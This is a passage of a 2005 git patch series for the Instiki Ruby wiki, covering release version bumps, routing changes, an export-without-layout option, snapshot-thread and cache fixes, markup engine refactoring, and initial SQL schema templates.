02:25:16 +0000 Subject: [PATCH 250/529] Preparing to release 0.10.1 --- CHANGELOG | 1 + instiki.gemspec | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG b/CHANGELOG index f4d2f867..af659ea5 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -4,6 +4,7 @@ BlueCloth is back (RedCloth didn't do pure Markdown well enough) Handling of line breaks in Textile is as in 0.9 (inserts
          tag) Fixed HTML export (to enclose the output in tags, include the stylesheet etc) + Corrected some compatibility issues with storages from earlier Instiki versions Some other bug fixes * 0.10.0: diff --git a/instiki.gemspec b/instiki.gemspec index 34e0e7fb..3b2f2a1a 100755 --- a/instiki.gemspec +++ b/instiki.gemspec @@ -6,7 +6,7 @@ $__instiki_source_patterns = [ spec = Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY s.name = 'instiki' - s.version = "0.10.0" + s.version = "0.10.1" s.summary = 'Easy to install WikiClone running on WEBrick and Madeleine' s.description = <<-EOF Instiki is a Wiki Clone written in Ruby that ships with an embedded From 8827f61b709815a2d79cd6dcf12aca754be79498 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 3 May 2005 02:13:42 +0000 Subject: [PATCH 251/529] Export with no layout option in the export_html --- app/controllers/wiki_controller.rb | 2 +- test/functional/wiki_controller_test.rb | 14 ++++++++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 01d5780d..a8ce9c66 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -49,7 +49,7 @@ class WikiController < ApplicationController export_pages_as_zip('html') do |page| @page = page @link_mode = :export - render_to_string('wiki/print', use_layout = true) + render_to_string('wiki/print', use_layout = (@params['layout'] != 'no')) end end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 8e5bb847..cb844d46 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -117,6 +117,20 @@ class WikiControllerTest < Test::Unit::TestCase assert_equal :export, r.template_objects['link_mode'] end + def test_export_html_no_layout + setup_wiki_with_three_pages + + r = process 'export_html', 'web' => 'wiki1', 'layout' => 'no' + + assert_success + assert_equal 'application/zip', r.headers['Content-Type'] + assert_match /attachment; filename="wiki1-html-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.zip"/, + r.headers['Content-Disposition'] + content = r.binary_content + assert_equal 'PK', content[0..1], 'Content is not a zip file' + assert_equal :export, r.template_objects['link_mode'] + end + def test_export_markup r = process 'export_markup', 'web' => 'wiki1' From 389242747eeb65b5159bb3d7d0f67ffdbf08694c Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 5 May 2005 06:12:29 +0000 Subject: [PATCH 252/529] Small rearrangement in instiki.css --- public/stylesheets/instiki.css | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css index d76fb133..b30d8508 100644 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -21,13 +21,12 @@ body, p, ol, ul, td { } a { color: #000; } +a:visited { color: #666; } +a:hover { color: #fff; background-color:#000; } .newWikiWord { background-color: #eee; } .newWikiWord a:hover { background-color: white; } -a:visited { color: #666; } -a:hover { color: #fff; background-color:#000; } - h1, h2, h3 { color: #333; font-family: georgia, verdana, sans-serif; } h1 { font-size: 28px } h2 { font-size: 19px } From 9b6c391062eff85b99f7c0544b2c5816a40bc279 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 5 May 2005 06:13:33 +0000 Subject: [PATCH 253/529] Fixed a hard-coded link to :web/search, ticket:149 --- app/views/navigation.rhtml | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/app/views/navigation.rhtml b/app/views/navigation.rhtml index 90753eb7..3568f866 100644 --- a/app/views/navigation.rhtml +++ b/app/views/navigation.rhtml @@ -8,8 +8,10 @@ def list_item(text, link_options, description, accesskey = nil) end %> - +<%= end_form_tag %> From dd10e838c5831f442a651469e09249ec85e33486 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 5 May 2005 06:26:47 +0000 Subject: [PATCH 254/529] More hard-coded URI paths in form.action attributes --- app/views/admin/create_system.rhtml | 6 ++++-- app/views/admin/create_web.rhtml | 7 ++++--- app/views/admin/edit_web.rhtml | 8 +++++--- app/views/wiki/edit.rhtml | 2 +- app/views/wiki/search.rhtml | 2 +- 5 files changed, 15 insertions(+), 10 deletions(-) diff --git a/app/views/admin/create_system.rhtml b/app/views/admin/create_system.rhtml index 4d318e63..77f8a316 100644 --- a/app/views/admin/create_system.rhtml +++ b/app/views/admin/create_system.rhtml @@ -6,7 +6,9 @@ you'll need to do a brief one-time setup.

          -
          +<%= form_tag({ :controller => 'admin', :action => 'create_system'}, + {'id' => 'setup', 'method' => 'post', 'onSubmit' => 'return validateSetup()'}) +%>
          1. @@ -43,7 +45,7 @@

            -
          2. +<%= end_form_tag %> +<%= javascript_include_tag 'edit_web' %> diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index 0dc5b2b0..eb1472aa 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -26,22 +26,16 @@ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" <%= File.read(RAILS_ROOT + '/public/stylesheets/instiki.css') if @inline_style %> - + <%= stylesheet_link_tag 'instiki' unless @inline_style %> - + <% if @web %> - - + <%= auto_discovery_link_tag(:rss, :controller => 'wiki', :web => @web.address, :action => 'rss_with_headlines') %> + <%= auto_discovery_link_tag(:rss, :controller => 'wiki', :web => @web.address, :action => 'rss_with_content') %> <% end %> diff --git a/public/javascripts/edit_web.js b/public/javascripts/edit_web.js index 01efc888..38b1ba49 100644 --- a/public/javascripts/edit_web.js +++ b/public/javascripts/edit_web.js @@ -50,3 +50,6 @@ function overrideAutocomplete() { }//loop thru input elements } } + +// This line is executed when the script is loaded +overrideAutocomplete(); From b22d4fb530f3af2d50323bf8f3623d83ed69c7d2 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 20 Jul 2005 01:36:58 +0000 Subject: [PATCH 302/529] Upgraded Rails to version 0.13.1 --- CHANGELOG | 1 + config/routes.rb | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG b/CHANGELOG index 0e0729de..855ee305 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,4 +1,5 @@ * trunk: + Upgraded to Rails 0.13.1 Fixed HTML export Added layout=no option to the export_html action (it exports page contents processed by the markup engine, but without the default layout - so that they can be wrapper in diff --git a/config/routes.rb b/config/routes.rb index 2dd4b5c5..1daeb0d1 100644 --- a/config/routes.rb +++ b/config/routes.rb @@ -1,4 +1,4 @@ -ActionController::Routing.draw do |map| +ActionController::Routing::Routes.draw do |map| map.connect 'create_system', :controller => 'admin', :action => 'create_system' map.connect 'create_web', :controller => 'admin', :action => 'create_web' map.connect ':web/edit_web', :controller => 'admin', :action => 'edit_web' From 9d667c8ba513004c795f67d6b7ac00fe4edb4315 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 20 Jul 2005 01:50:49 +0000 Subject: [PATCH 303/529] Corrected a few failing functional tests (side effect of the prrevious commit) --- test/functional/admin_controller_test.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb index d1e034d3..7aed5c70 100644 --- a/test/functional/admin_controller_test.rb +++ b/test/functional/admin_controller_test.rb @@ -155,7 +155,7 @@ class AdminControllerTest < Test::Unit::TestCase #returns to the same form assert_success - assert @response.has_template_object?(:error) + assert @response.has_template_object?('error') end def test_edit_web_rename_to_already_existing_web_name @@ -169,7 +169,7 @@ class AdminControllerTest < Test::Unit::TestCase #returns to the same form assert_success - assert @response.has_template_object?(:error) + assert @response.has_template_object?('error') end def test_edit_web_empty_password @@ -180,7 +180,7 @@ class AdminControllerTest < Test::Unit::TestCase #returns to the same form assert_success - assert @response.has_template_object?(:error) + assert @response.has_template_object?('error') end From 55c125462716a2bf944d49d88198220275bb3531 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 20 Jul 2005 03:21:20 +0000 Subject: [PATCH 304/529] Added routes such that URLs as /show/HomePage are directed to DEFAULT_WEB/show/HomePage, if DEFAULT_WEB is defined. This would greatly simplify Proxy configuration for sites like instiki.org --- config/routes.rb | 38 ++++++++++++++++++++++++++------------ 1 file changed, 26 insertions(+), 12 deletions(-) diff --git a/config/routes.rb b/config/routes.rb index 1daeb0d1..c89b87f2 100644 --- a/config/routes.rb +++ b/config/routes.rb @@ -1,18 +1,32 @@ +# Create a route to DEFAULT_WEB, if such is specified; also register a generic route +def connect_to_web(map, generic_path, generic_routing_options) + if defined? DEFAULT_WEB + explicit_path = generic_path.gsub(':web', DEFAULT_WEB) + explicit_routing_options = generic_routing_options.merge(:web => DEFAULT_WEB) + map.connect(explicit_path, explicit_routing_options) + end + map.connect(generic_path, generic_routing_options) +end + ActionController::Routing::Routes.draw do |map| map.connect 'create_system', :controller => 'admin', :action => 'create_system' map.connect 'create_web', :controller => 'admin', :action => 'create_web' - map.connect ':web/edit_web', :controller => 'admin', :action => 'edit_web' map.connect 'remove_orphaned_pages', :controller => 'admin', :action => 'remove_orphaned_pages' - - map.connect ':web/file/:id', :controller => 'file', :action => 'file' - map.connect ':web/pic/:id', :controller => 'file', :action => 'pic' - map.connect ':web/import/:id', :controller => 'file', :action => 'import' - - map.connect ':web/login', :controller => 'wiki', :action => 'login' map.connect 'web_list', :controller => 'wiki', :action => 'web_list' - map.connect ':web/web_list', :controller => 'wiki', :action => 'web_list' - map.connect ':web/:action/:id', :controller => 'wiki' - map.connect ':web/:action', :controller => 'wiki' - map.connect ':web', :controller => 'wiki', :action => 'index' - map.connect '', :controller => 'wiki', :action => 'index' + + connect_to_web map, ':web/edit_web', :controller => 'admin', :action => 'edit_web' + connect_to_web map, ':web/file/:id', :controller => 'file', :action => 'file' + connect_to_web map, ':web/pic/:id', :controller => 'file', :action => 'pic' + connect_to_web map, ':web/import/:id', :controller => 'file', :action => 'import' + connect_to_web map, ':web/login', :controller => 'wiki', :action => 'login' + connect_to_web map, ':web/web_list', :controller => 'wiki', :action => 'web_list' + connect_to_web map, ':web/:action/:id', :controller => 'wiki' + connect_to_web map, ':web/:action', :controller => 'wiki' + connect_to_web map, ':web', :controller => 'wiki', :action => 'index' + + if defined? DEFAULT_WEB + map.connect '', :controller => 'wiki', :web => DEFAULT_WEB, :action => 'index' + else + map.connect '', :controller => 'wiki', :action => 'index' + end end From 659f4a4cc551389f7a507015d70f18d850f2b2ff Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 21 Jul 2005 01:16:06 +0000 Subject: [PATCH 305/529] Correction of an earlier commit --- config/routes.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/routes.rb b/config/routes.rb index c89b87f2..59a8c442 100644 --- a/config/routes.rb +++ b/config/routes.rb @@ -1,7 +1,7 @@ # Create a route to DEFAULT_WEB, if such is specified; also register a generic route def connect_to_web(map, generic_path, generic_routing_options) if defined? DEFAULT_WEB - explicit_path = generic_path.gsub(':web', DEFAULT_WEB) + explicit_path = generic_path.gsub(/:web\/?/, '') explicit_routing_options = generic_routing_options.merge(:web => DEFAULT_WEB) map.connect(explicit_path, explicit_routing_options) end From 207737aa22dfe2220f7b2e10a9a7c926567914ce Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 30 Jul 2005 06:39:34 +0000 Subject: [PATCH 306/529] Fixed a subtle incompatibility with older storages. Madeleine must die --- app/models/chunks/chunk.rb | 2 +- app/models/chunks/include.rb | 2 +- app/models/wiki_content.rb | 4 ---- 3 files changed, 2 insertions(+), 6 deletions(-) diff --git a/app/models/chunks/chunk.rb b/app/models/chunks/chunk.rb index d6478a56..9ba3cc04 100644 --- a/app/models/chunks/chunk.rb +++ b/app/models/chunks/chunk.rb @@ -58,7 +58,7 @@ module Chunk # We should not use object_id because object_id is not guarantied # to be unique when we restart the wiki (new object ids can equal old ones - # that were restored form madeleine storage) + # that were restored from madeleine storage) def id @id ||= "#{@content.page_id}n#{@content.chunk_id}" end diff --git a/app/models/chunks/include.rb b/app/models/chunks/include.rb index 6ecaa1fb..370093cc 100644 --- a/app/models/chunks/include.rb +++ b/app/models/chunks/include.rb @@ -23,10 +23,10 @@ class Include < WikiChunk::WikiReference def get_unmask_text_avoiding_recursion_loops if refpage then + refpage.clear_display_cache if refpage.wiki_includes.include?(@content.page_name) # this will break the recursion @content.delete_chunk(self) - refpage.clear_display_cache return "Recursive include detected; #{@page_name} --> #{@content.page_name} " + "--> #{@page_name}\n" else diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb index e8e766da..89cd8c45 100644 --- a/app/models/wiki_content.rb +++ b/app/models/wiki_content.rb @@ -33,10 +33,6 @@ require 'chunks/nowiki' # * :mode # => How should the content be rendered? For normal display (show), # publishing (:publish) or export (:export)? -# -# AUTHOR: Mark Reid -# CREATED: 15th May 2004 -# UPDATED: 22nd May 2004 module ChunkManager attr_reader :chunks_by_type, :chunks_by_id, :chunks, :chunk_id From b89b0fbd36653fbbf6f27c47da1391c627d35d70 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 30 Jul 2005 06:49:21 +0000 Subject: [PATCH 307/529] Preparing a 0.10.2 release --- CHANGELOG | 2 +- instiki.gemspec | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 855ee305..e3594d76 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,4 +1,4 @@ - * trunk: + * 0.10.2: Upgraded to Rails 0.13.1 Fixed HTML export Added layout=no option to the export_html action (it exports page contents processed diff --git a/instiki.gemspec b/instiki.gemspec index 3b2f2a1a..8c7122c0 100755 --- a/instiki.gemspec +++ b/instiki.gemspec @@ -6,7 +6,7 @@ $__instiki_source_patterns = [ spec = Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY s.name = 'instiki' - s.version = "0.10.1" + s.version = "0.10.2" s.summary = 'Easy to install WikiClone running on WEBrick and Madeleine' s.description = <<-EOF Instiki is a Wiki Clone written in Ruby that ships with an embedded From 021f37f16c512e73dc3931a1dc404ee43093daba Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 30 Jul 2005 06:51:03 +0000 Subject: [PATCH 308/529] Typo correction --- CHANGELOG | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG b/CHANGELOG index e3594d76..96ba1c4f 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -2,7 +2,7 @@ Upgraded to Rails 0.13.1 Fixed HTML export Added layout=no option to the export_html action (it exports page contents processed - by the markup engine, but without the default layout - so that they can be wrapper in + by the markup engine, but without the default layout - so that they can be wrapped in some other layout) tag can span several lines (before it was applied when both opening and closing tags were on the same line only) From 64b1283bdd01c83ec4e0548c853c2f08f700727a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 30 Jul 2005 07:05:49 +0000 Subject: [PATCH 309/529] The right Rails version in gemspec --- instiki.gemspec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/instiki.gemspec b/instiki.gemspec index 8c7122c0..06b2a10f 100755 --- a/instiki.gemspec +++ b/instiki.gemspec @@ -27,7 +27,7 @@ spec = Gem::Specification.new do |s| s.add_dependency('madeleine', '= 0.7.1') s.add_dependency('RedCloth', '= 3.0.3') s.add_dependency('rubyzip', '= 0.5.8') - s.add_dependency('rails', '= 0.11.1') + s.add_dependency('rails', '= 0.13.1') s.requirements << 'none' s.require_path = 'lib' From adc6b005d5e18a420ecab7cec19e2f2cbff05a25 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 31 Jul 2005 00:27:31 +0000 Subject: [PATCH 310/529] Just checking my SVN access --- app/models/web.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/models/web.rb b/app/models/web.rb index 17b11434..0e21fc80 100644 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -23,7 +23,6 @@ class Web @additional_style = nil @published = false @count_pages = false - @allow_uploads = true end # Explicitly sets value of some web attributes to defaults, unless they are already set @@ -35,6 +34,7 @@ class Web @max_upload_size = max_upload_size() @wiki = wiki end + # All below getters know their default values. This is necessary to ensure compatibility with # 0.9 storages, where they were not defined. def brackets_only() @brackets_only || false end From fdba99cb93237f1a324b41155f2202c0a2794171 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 1 Aug 2005 03:20:36 +0000 Subject: [PATCH 311/529] Branching out instiki-ar (for building an ActiveRecord backend) From 6578bed720e8914eb1b6ef12e54f38ecb77c3a9f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 1 Aug 2005 05:02:52 +0000 Subject: [PATCH 312/529] Starting snapshot thread on first HTTP request (otherwise, --daemon option fails); ticket:48, ticket:198 --- app/controllers/application.rb | 8 ++++++-- app/models/wiki_service.rb | 12 +++++++++++- 2 files changed, 17 insertions(+), 3 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 1e2af4e6..d97c51cd 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -2,7 +2,7 @@ # Likewise will all the methods added be available for all controllers. class ApplicationController < ActionController::Base - before_filter :set_utf8_http_header, :connect_to_model + before_filter :set_utf8_http_header, :connect_to_model, :check_snapshot_thread after_filter :remember_location # For injecting a different wiki model implementation. Intended for use in tests @@ -22,7 +22,7 @@ class ApplicationController < ActionController::Base def authorized? @web.nil? || - @web.password.nil? || + @web.password.nil? || cookies['web_address'] == @web.password || password_check(@params['password']) end @@ -34,6 +34,10 @@ class ApplicationController < ActionController::Base end end + def check_snapshot_thread + WikiService.check_snapshot_thread + end + def connect_to_model @action_name = @params['action'] || 'index' @web_name = @params['web'] diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index c7f8d515..a48addc9 100644 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -152,6 +152,11 @@ class WikiService def snapshot @madeleine.snapshot end + + def check_snapshot_thread + # @madeleine may not be initialised in unit tests, and in such case there is no need to do anything + @madeleine.check_snapshot_thread unless @madeleine.nil? + end end @@ -185,7 +190,7 @@ class MadeleineServer Madeleine::ZMarshal.new) { service.new } - start_snapshot_thread + @snapshoot_thread_running = false end def command_log_present? @@ -196,7 +201,12 @@ class MadeleineServer @server.take_snapshot end + def check_snapshot_thread + start_snapshot_thread unless @snapshoot_thread_running + end + def start_snapshot_thread + @snapshoot_thread_running = true Thread.new(@server) { hours_since_last_snapshot = 0 while true From 0d1c92a988a9fe998674a9dd4a0eb82c184340c0 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Mon, 1 Aug 2005 05:08:29 +0000 Subject: [PATCH 313/529] Documented the previous change --- CHANGELOG | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG b/CHANGELOG index 96ba1c4f..c7506e09 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,6 @@ + * trunk: + Fixed --daemon option. + * 0.10.2: Upgraded to Rails 0.13.1 Fixed HTML export From 6a9cc875368e4ee15dd52a7cbf79a2d3a453d9da Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 2 Aug 2005 00:59:12 +0000 Subject: [PATCH 314/529] Markup engines are not a kind of chunk --- app/models/chunks/engines.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index fe5a96a8..87ccd73a 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -9,12 +9,12 @@ require 'chunks/chunk' # or RDoc to convert text. This markup occurs when the chunk is required # to mask itself. module Engines - class AbstractEngine < Chunk::Abstract + class AbstractEngine - # Create a new chunk for the whole content and replace it with its mask. + # Convert content to HTML def self.apply_to(content) - new_chunk = self.new(content) - content.replace(new_chunk.mask) + engine = self.new(content) + content.replace(engine.to_html) end private @@ -27,7 +27,7 @@ module Engines end class Textile < AbstractEngine - def mask + def to_html redcloth = RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts]) redcloth.filter_html = false redcloth.no_span_caps = false @@ -36,13 +36,13 @@ module Engines end class Markdown < AbstractEngine - def mask + def to_html BlueCloth.new(@content, @content.options[:engine_opts]).to_html end end class Mixed < AbstractEngine - def mask + def to_html redcloth = RedCloth.new(@content, @content.options[:engine_opts]) redcloth.filter_html = false redcloth.no_span_caps = false @@ -51,7 +51,7 @@ module Engines end class RDoc < AbstractEngine - def mask + def to_html RDocSupport::RDocFormatter.new(@content).to_html end end From b6cede774d98866b731b4a4297760a5092a78565 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 2 Aug 2005 01:00:07 +0000 Subject: [PATCH 315/529] Clearing all caches retrieved from storage on startup --- app/models/wiki_service.rb | 38 +++++++++++++++++++++++++++++--------- 1 file changed, 29 insertions(+), 9 deletions(-) diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index a48addc9..6c8c683b 100644 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -131,21 +131,38 @@ class WikiService class << self - def storage_path=(storage_path) - @@storage_path = storage_path - end - - def storage_path - @@storage_path + def check_snapshot_thread + # @madeleine may not be initialised in unit tests, and in such case there is no need to do anything + @madeleine.check_snapshot_thread unless @madeleine.nil? end def clean_storage MadeleineServer.clean_storage(self) end + # One interesting property of Madeleine as persistence mechanism is that it saves + # (and restores) the whole ObjectSpace. And in there, storage from older version may contain + # who knows what in temporary variables, such as caches of various kinds. + # The reason why it is nearly impossible to control is that there may be bugs, people may + # use modified versions of things, etc etc etc + # Therefore, upon loading the storage from a file, it is a good idea to clear all such + # variables. It would be better yet if Madeleine could be somehow instructed not to save that + # data in a snapshot at all. Alas, such a feature is not presently available. + def clear_all_caches + return if @system.webs.nil? + @system.webs.each_value do |web| + next if web.nil? or web.pages.nil? + web.pages.each_value do |page| + next if page.nil? or page.revisions.nil? + page.revisions.each { |revision| revision.clear_display_cache } + end + end + end + def instance @madeleine ||= MadeleineServer.new(self) @system = @madeleine.system + clear_all_caches return @system end @@ -153,9 +170,12 @@ class WikiService @madeleine.snapshot end - def check_snapshot_thread - # @madeleine may not be initialised in unit tests, and in such case there is no need to do anything - @madeleine.check_snapshot_thread unless @madeleine.nil? + def storage_path=(storage_path) + @@storage_path = storage_path + end + + def storage_path + @@storage_path end end From 66ab8df6f493c29ff1baf461448f9cb7d0e67a75 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 2 Aug 2005 01:03:43 +0000 Subject: [PATCH 316/529] Yet another extremely convoluted story about markup parsing... markup engines can replicate content within
             tags, and it was
             failing in an interesting way then
            
            ---
             app/models/wiki_content.rb | 18 +++++++++++-------
             1 file changed, 11 insertions(+), 7 deletions(-)
            
            diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb
            index 89cd8c45..ca8de5fa 100644
            --- a/app/models/wiki_content.rb
            +++ b/app/models/wiki_content.rb
            @@ -103,14 +103,16 @@ class WikiContentStub < String
               # Detects the mask strings contained in the text of chunks of type chunk_types
               # and yields the corresponding chunk ids
               # example: content = "chunk123categorychunk 
            chunk456categorychunk
            " - # inside_chunks(Literal::Pre) ==> yield 456 + # inside_chunks([Literal::Pre]) ==> yield 456 def inside_chunks(chunk_types) - chunk_types.each{|chunk_type| chunk_type.apply_to(self) } + chunk_types.each { |chunk_type| chunk_type.apply_to(self) } - chunk_types.each{|chunk_type| @chunks_by_type[chunk_type].each{|hide_chunk| - scan_chunkid(hide_chunk.text){|id| yield id } + chunk_types.each { |chunk_type| @chunks_by_type[chunk_type].each { |chunk| + scan_chunkid(chunk.text) { |id| + yield id + } } - } + } end end @@ -136,7 +138,7 @@ class WikiContent < String @options = DEFAULT_OPTS.dup.merge(options) @options[:engine] = Engines::MAP[@web.markup] @options[:engine_opts] = [:filter_html, :filter_styles] if @web.safe_mode - @options[:active_chunks] = (ACTIVE_CHUNKS - [WikiChunk::Word] ) if @web.brackets_only + @options[:active_chunks] -= [WikiChunk::Word] if @web.brackets_only @not_rendered = @pre_rendered = nil @@ -167,7 +169,9 @@ class WikiContent < String @options[:engine].apply_to(copy) copy.inside_chunks(HIDE_CHUNKS) do |id| - @chunks_by_id[id].revert + # Some markup engines can replicate parts of content while converting to HTML + # Hence the if in the below line + @chunks_by_id[id].revert if @chunks_by_id.key?(id) end end From 9f36bd59a975da3ede2394b35515815a77a8ac55 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 2 Aug 2005 03:23:05 +0000 Subject: [PATCH 317/529] Fxed handling of a page that tries to include itself --- app/models/chunks/include.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/models/chunks/include.rb b/app/models/chunks/include.rb index 370093cc..d4b668a2 100644 --- a/app/models/chunks/include.rb +++ b/app/models/chunks/include.rb @@ -24,7 +24,7 @@ class Include < WikiChunk::WikiReference def get_unmask_text_avoiding_recursion_loops if refpage then refpage.clear_display_cache - if refpage.wiki_includes.include?(@content.page_name) + if refpage.name == @content.page_name or refpage.wiki_includes.include?(@content.page_name) # this will break the recursion @content.delete_chunk(self) return "Recursive include detected; #{@page_name} --> #{@content.page_name} " + From 21adee88d42e299c524672fb128911e557c19a49 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 2 Aug 2005 07:58:22 +0000 Subject: [PATCH 318/529] Initial database definitions --- config/database.yml | 30 ++++++++++++++++++++++++++++++ db/pages.erbsql | 6 ++++++ db/revisions.erbsql | 7 +++++++ db/webs.erbsql | 7 +++++++ lib/db_structure.rb | 32 ++++++++++++++++++++++++++++++++ 5 files changed, 82 insertions(+) create mode 100644 config/database.yml create mode 100644 db/pages.erbsql create mode 100644 db/revisions.erbsql create mode 100644 db/webs.erbsql create mode 100644 lib/db_structure.rb diff --git a/config/database.yml b/config/database.yml new file mode 100644 index 00000000..c21e3f65 --- /dev/null +++ b/config/database.yml @@ -0,0 +1,30 @@ +# SQLite is enabled by default. Remember to change the dbfile path. +production: + adapter: sqlite + dbfile: /tmp/instiki_prod.db + +# Uncomment this section for MySQL: +# production: +# adapter: mysql +# host: localhost +# database: instiki +# username: instiki +# password: pass + +# Uncomment this section for PostgreSQL: +# production: +# adapter: postgresql +# host: localhost +# database: instiki +# username: instiki +# password: pass + +# The following settings are only used for testing and development. +development: + adapter: sqlite + dbfile: /tmp/instiki_dev.db + +test: + adapter: sqlite + dbfile: /tmp/instiki_test.db + diff --git a/db/pages.erbsql b/db/pages.erbsql new file mode 100644 index 00000000..afc57484 --- /dev/null +++ b/db/pages.erbsql @@ -0,0 +1,6 @@ +CREATE TABLE pages ( + id <%= @pk %>, + created_at <%= @datetime %> NOT NULL, + updated_at <%= @datetime %> NOT NULL, + web_id INTEGER NOT NULL +) <%= create_options %>; diff --git a/db/revisions.erbsql b/db/revisions.erbsql new file mode 100644 index 00000000..1639cf2e --- /dev/null +++ b/db/revisions.erbsql @@ -0,0 +1,7 @@ +CREATE TABLE revisions ( + id <%= @pk %>, + created_at <%= @datetime %> NOT NULL, + updated_at <%= @datetime %> NOT NULL, + page_id INTEGER NOT NULL, + content TEXT NOT NULL +) <%= create_options %>; diff --git a/db/webs.erbsql b/db/webs.erbsql new file mode 100644 index 00000000..24ebc04a --- /dev/null +++ b/db/webs.erbsql @@ -0,0 +1,7 @@ +CREATE TABLE pages ( + id <%= @pk %>, + created_at <%= @datetime %> NOT NULL, + updated_at <%= @datetime %> NOT NULL, + name VARCHAR(60) NOT NULL, + address VARCHAR(60) NOT NULL +) <%= create_options %>; diff --git a/lib/db_structure.rb b/lib/db_structure.rb new file mode 100644 index 00000000..0a2c4beb --- /dev/null +++ b/lib/db_structure.rb @@ -0,0 +1,32 @@ +require 'erb' + +def create_options + if @db == 'mysql' + 'ENGINE = ' + (mysql_engine rescue @mysql_engine) + end +end + +def db_structure(db) + db.downcase! + @db = db + case db + when 'postgresql' + @pk = 'SERIAL PRIMARY KEY' + @datetime = 'TIMESTAMP' + when 'sqlite', 'sqlite3' + @pk = 'INTEGER PRIMARY KEY' + @datetime = 'DATETIME' + when 'mysql' + @pk = 'INTEGER UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY' + @datetime = 'DATETIME' + @mysql_engine = 'InnoDB' + else + raise "Unknown db type #{db}" + end + + s = '' + Dir['db/*.erbsql'].each do |filename| + s += ERB.new(File.read(filename)).result + end + s +end From 6d8190c096f7884fa8c998979218b9915c68cbaa Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 2 Aug 2005 07:59:22 +0000 Subject: [PATCH 319/529] Moved old tests and app/model out of the way --- app/{models => models-old}/author.rb | 0 app/{models => models-old}/chunks/category.rb | 0 app/{models => models-old}/chunks/chunk.rb | 0 app/{models => models-old}/chunks/engines.rb | 0 app/{models => models-old}/chunks/include.rb | 0 app/{models => models-old}/chunks/literal.rb | 0 app/{models => models-old}/chunks/nowiki.rb | 0 app/{models => models-old}/chunks/test.rb | 0 app/{models => models-old}/chunks/uri.rb | 0 app/{models => models-old}/chunks/wiki.rb | 0 app/{models => models-old}/file_yard.rb | 0 app/{models => models-old}/page.rb | 0 app/{models => models-old}/page_lock.rb | 0 app/{models => 